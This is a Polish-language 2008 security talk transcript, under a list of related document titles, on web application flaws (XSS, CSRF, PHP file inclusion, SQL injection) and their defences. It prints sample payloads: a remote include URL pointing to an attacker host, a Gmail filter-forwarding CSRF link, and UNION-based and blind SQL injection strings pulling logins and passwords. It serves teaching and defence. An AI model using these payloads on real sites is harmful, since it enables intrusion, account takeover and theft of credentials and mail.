Drobne błędy w portalach WWW



Podobne dokumenty
Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

The OWASP Foundation Session Management. Sławomir Rozbicki.

z testów penetracyjnych

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Bezpieczeństwo systemów komputerowych

Projektowani Systemów Inf.

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Opis Przedmiotu Zamówienia na przeprowadzenie testów bezpieczeństwa systemu wspomagania nadzoru archiwalnego e-nadzór

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Aspekty bezpieczeństwa aplikacji internetowych

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Internetowe bazy danych

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Bezpieczeństwo aplikacji internetowych

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Aplikacje WWW. Wykład 13. Zagrożenia bezpieczeństwa aplikacji WWW. wykład prowadzi: Maciej Zakrzewicz. Zagrożenia bezpieczeństwa

SQL injection. Metody włamań do systemów komputerowych p. 1/13. Bogusław Kluge, Karina Łuksza, Ewa Makosa

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

6. Bezpieczeństwo przy współpracy z bazami danych

Program szkolenia: Bezpieczny kod - podstawy

Wybrane ataki na urządzenia sieciowe Secure Michał Sajdak, Securitum sekurak.pl

SECURE /10/2006. Błażej Miga, PCSS Jaroslaw Sajko, PCSS

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Agenda. Quo vadis, security? Artur Maj, Prevenity

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Testy penetracyjne webaplikacji.

Zabawy z PHP em. Błażej Miga, Jaroslaw Sajko, PCSS blazej.miga@man.poznan.pl jaroslaw.sajko@man.poznan.pl

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Geek's Night / /dev/urandom. gynvael.coldwind//vx, Hispasec

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Należy ściągnąć oprogramowanie Apache na platformę

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

Kurs rozszerzony języka Python

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

Wykład 5: PHP: praca z bazą danych MySQL

Praca Magisterska "System zdalnego składania ofert kupna i sprzedaży za pośrednictwem Internetu" AUTOR PROMOTOR

I.Wojnicki, PHP. PHP PHP Hypertext Preprocessor. Igor Wojnicki. Ktedra Informatyki Stosowanej Akademia Górniczo-Hutnicza w Krakowie.

Bazy danych i usługi sieciowe

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Badania poziomu bezpieczeństwa portalu dostępowego do infrastruktury projektu PL-Grid

Sprawozdanie Laboratorium 4

Bezpieczeostwo aplikacyjne

Internetowe bazy danych

I.Wojnicki, Tech.Inter.

ATAKI TYPU CROSS-SITE SCRIPTING

DOKUMENTACJA TECHNICZNA SMS API MT

Administratorzy kontrolują systemy IT, a kto kontroluje administratorów?

Systemy internetowe. Wykład 3 PHP. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Bezpieczeństwo aplikacji webowych

Full Stack JavaScript z Angular i Nest. Dni: 5. Opis: Adresaci szkolenia

Gatesms.eu Mobilne Rozwiązania dla biznesu

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

PHP: bazy danych, SQL, AJAX i JSON

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

Wybrane działy Informatyki Stosowanej

Liczniki odwiedzin. Licznik odwiedzin na plikach

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

INSTYTUT IMMUNOLOGII I TERAPII DOŚWIADCZALNEJ im. Ludwika Hirszfelda Polska Akademia Nauk

Bezpieczeństwo heterogenicznej. Zespół Bezpieczeństwa PCSS

Aplikacje internetowe Przegl¹d zagro eñ

Wybrane problemy bezpieczeństwa w urządzeniach sieciowych SEConference Michał Sajdak, Securitum sekurak.pl

Dokumentacja smsapi wersja 1.4

Aplikacje WWW - laboratorium

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Wykład 6: Bezpieczeństwo w sieci. A. Kisiel, Bezpieczeństwo w sieci

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Programowanie. Dodatek - uzupełnienie wiadomości. mgr inż. Krzysztof Szwarc. Sosnowiec,

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Baza danych do przechowywania użytkowników

Techniki komputerowe w robotyce

Blaski i cienie wyzwalaczy w relacyjnych bazach danych. Mgr inż. Andrzej Ptasznik

11. Autoryzacja użytkowników

Obrona przed SQL-injection w aplikacjach Java/JEE

Zmienne i stałe w PHP

Portal Security - ModSec Enterprise

Temat: EasyAccess 2.0 Data: 10 Października 2014 Prowadzący: Maciej Sakowicz

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

Dokumentacja serwera REST do obsługi rezerwacji w systemie SaNAtoRIUm.pro

Aplikacje internetowe

Jak skonfigurować bezpieczną sieć bezprzewodową w oparciu o serwer RADIUS i urządzenia ZyXEL wspierające standard 802.1x?

DESlock+ szybki start

Szczegółowy opis zamówienia:

POLITYKA PRYWATNOŚCI ORAZ POLITYKA PLIKÓW COOKIES W Sowa finanse

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Sesje i logowanie. 1. Wprowadzenie

Transkrypt:

Drobne błędy w portalach WWW Borys Łącki http://www.logicaltrust.net XIX Górska Szkoła Informatyki / Szczyrk, 23-26.06.2008 r.

LogicalTrust wyizolowany departament bezpieczeństwa IT Business Consulting Experts Sp. z o.o. świadczący usługi w wybranych obszarach bezpieczeństwa IT. - Audyty Testy penetracyjne Inżynieria odwrotna Analiza ryzyka Hardening HoneyPots

Dlaczego WWW jest ważne? 2007 ilość ruchu WWW przekroczyła ilość ruchu P2P

Dlaczego WWW jest ważne?

Dlaczego WWW jest ważne? Rodzaje danych HTTP http://www.ellacoya.com/news/pdf/2007/nxtcommellacoyamediaalert.pdf

Dlaczego WWW jest ważne? 1) 2) 3) 4) Wydajemy pieniądze Zarządzamy finansami Zarabiamy pieniądze Marnujemy czas

Dlaczego WWW jest ważne?

Dlaczego WWW jest ważne? Amerykańskie ofiary phishingu 3,6 miliona osób, które straciły łącznie 3,2 miliarda dolarów. (Gartner, http://www.heise-online.pl/news/item/2356/)

Architektura aplikacji WWW Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych

Architektura aplikacji WWW Internet ŹLE Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych Nowa funkcjonalność

Architektura aplikacji WWW Internet OK Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych Nowa funkcjonalność

Najczęstsze ataki - PHP Remote File Include SQL Injection Cross-Site Scripting Cross-Site Request Forgery SANS Top-20 2007 Security Risks

Cross-Site Scripting (XSS)

Reflective XSS Serwer GET /index.php? id=<script> </script> HTTP/1.1 Aplikacja Aplikacja Użytkownik WWW WWW <script> </script> Dane dostępne w kontekście użytkownika Intruz

Zmiana treści za pomocą XSS

Zmiana treści za pomocą XSS

Zmiana treści za pomocą XSS Nie jest permanentna Więcej kodu = łatwiej Pomysł: Tak samo wyglądający formularz kierujący dane w inne miejsce phishing

Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user

Uwierzytelnianie przy pomocy cookies POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik Serwer GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Witaj user Intruz

Stored XSS Serwer Aplikacja WWW POST /register.php HTTP/1.1 login=<script> </script>&password=asd GET /index.php HTTP/1.1 <script> </script> Użytkownik <script> </script> exec( ) Baza danych Dane dostępne w kontekście użytkownika Intruz

Stored XSS - niebezpieczeństwa - Permanentna zmiana treści - Łatwa kradzież ID sesji - CSRF - XSS Proxy - Automatyczne robaki (myspace, Orkut, Nduja, nasza-klasa) Łatwe ;] w serwisach pozwalających publikować własną treść) (aukcyjne, blogi, fora, etc)

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS Intruz User_1 User_2

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_1 User_2 Zapisuje XSS w swoim profilu XSS exec( ) Intruz

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_2 User_1 Zapisuje XSS w swoim profilu XSS exec( ) GET /user1/ HTTP/1.1 <script> </script> User_2 XSS Zapisuje XSS w swoim profilu exec( ) Intruz

Jak się bronić? Powiązać ID sesji z IP? Żądać powtórnego uwierzytelnienia Kontrolować wprowadzane dane!!! Białe listy / Czarne listy Spójność (IDS, Firewall, aplikacja) Dogłębność (...//../), UTF-7 Filtrować dane zapisywane do bazy i odczytywane z bazy

Cross-Site Request Forgery (CSRF)

Serwer http://serwer/delete.php? id=34 Aplikacja WWW id = 34; delete( id); GET /delete.php?id=34 HTTP/1.1 Cookie: user_id=734223s8uod42 Użytkownik Wpis usunięty Intruz

<img src= http://nasza-klasa.pl/invite/1?i=1 >

Przejęcie wiadomości z Gmail (CSRF) http://www.gnucitizen.org/util/csrf?_method=post&_enctype= multipart/form-data&_action=https%3a//mail.google.com/mail/h/ wt1jmuj4ddv/%3fv%3dprf&cf2_emc=true&cf2_email=evilinbox @mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1 _attach=true&tfi&s=z&irf=on&nvp_bu_cftb=create%20filter Konto na Gmailu każdy z nas ma. Mam i ja! (Kradzież domeny: www.davidairey.co.uk)

Jak się bronić? POST zamiast GET obejście: iframe, javascript Referer problemy: proxy, przeglądarki, zmiana nagłówka Generowanie tymczasowego dodatkowego ID Powiązanie ID użytkownika z długim losowym ciągiem Trzymane po stronie serwera Wymaganie ponownej autoryzacji przy kluczowych operacjach Brak błędów XSS (XmlHttpRequest)!!!

PHP File Include

Local File Include podgląd plików (konfiguracyjnych!) wykonanie kodu, jeśli jest możliwość wgrania pliku na serwer dostęp do kodu źródłowego Remote File Include zdalne wykonanie kodu!!! <?php include($mosconfig_absolute_path."/administrator/components/ com_hashcash/config.hashcash.php"); http://serwer.com/components/com_hashcash/server.php? mosconfig_absolute_path=http://atakujacy.pl/evil.txt?

Jak się bronić? - konfiguracja po stronie php.ini allow_url_fopen = Off allow_url_include = Off register_global = Off safe_mode = On register_globals = Off safe_mode_gid = Off display_errors = Off log_errors = On error_log = /var/log/httpd/php_error.log disable_functions = system, shell_exec, exec, passthru - uważać na specjalne znaki (null byte, etc) - filtrować, filtrować i jeszcze raz filtrować (../, UTF, itd.) - inne: mod_security, Suhosin PHP

SQL Injection

Serwer GET /login.php HTTP/1.1 login=admin&password=1 or 1= 1 Aplikacja WWW select * from users where login= admin and pass= 1 or 1= 1 Intruz Welcome admin Baza danych $dane = db_exec( select from users where login= $login and pass= $pass ) if ($dane.count) { print ( Welcome $login ) } else { print ( Bye ); exit (0); }

priv_search=&cat=1&w_city=ca%b3a+polska' union all select 1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from users#&submit=szukaj

Blind SQL Injection /oferta.php?id=8 and 1=1

Blind SQL Injection /oferta.php?id=8 and 1=2

Blind SQL Injection /zgoda.php?id=155765%20and%20(select %20ascii(substring((select%20login%20from %20admini%20limit%201,1),1,1)))%3D97 id=155765 AND (select ascii(substring((select login from admini limit LINIA,1), MIEJSCE, 1)))=ZNAK_ASCII

Jak się bronić? - Filtrować wprowadzane dane Białe listy znaków Spójność (IDS, Firewall, aplikacja, baza danych) Nie ufać filtrom po stronie użytkownika (listy wyboru, JavaScript)

Podsumowanie

Z bezpieczeństwem WWW jest źle

Koniecznie filtrować wprowadzane i wyprowadzane dane - Firewalle aplikacyjne - IDS / IPS - Białe listy

Słuchać i pytać Korzystać z pomocy specjalistów Bilansować koszty z zyskami Każdy feedback jest dobry

Hardening Poprawna konfiguracja jest niezwykle istotna Jedna dyrektywa w konfiguracji może zablokować wykorzystanie błędu w aplikacji

Myślenie Nikt ani nic nie ustrzeże nas przed skutkami błędów logicznych

Dziękuję za uwagę Logicaltrust IT Security Solutions IT BCE sp. z o.o. Borys Łącki - b.lacki@itbce.com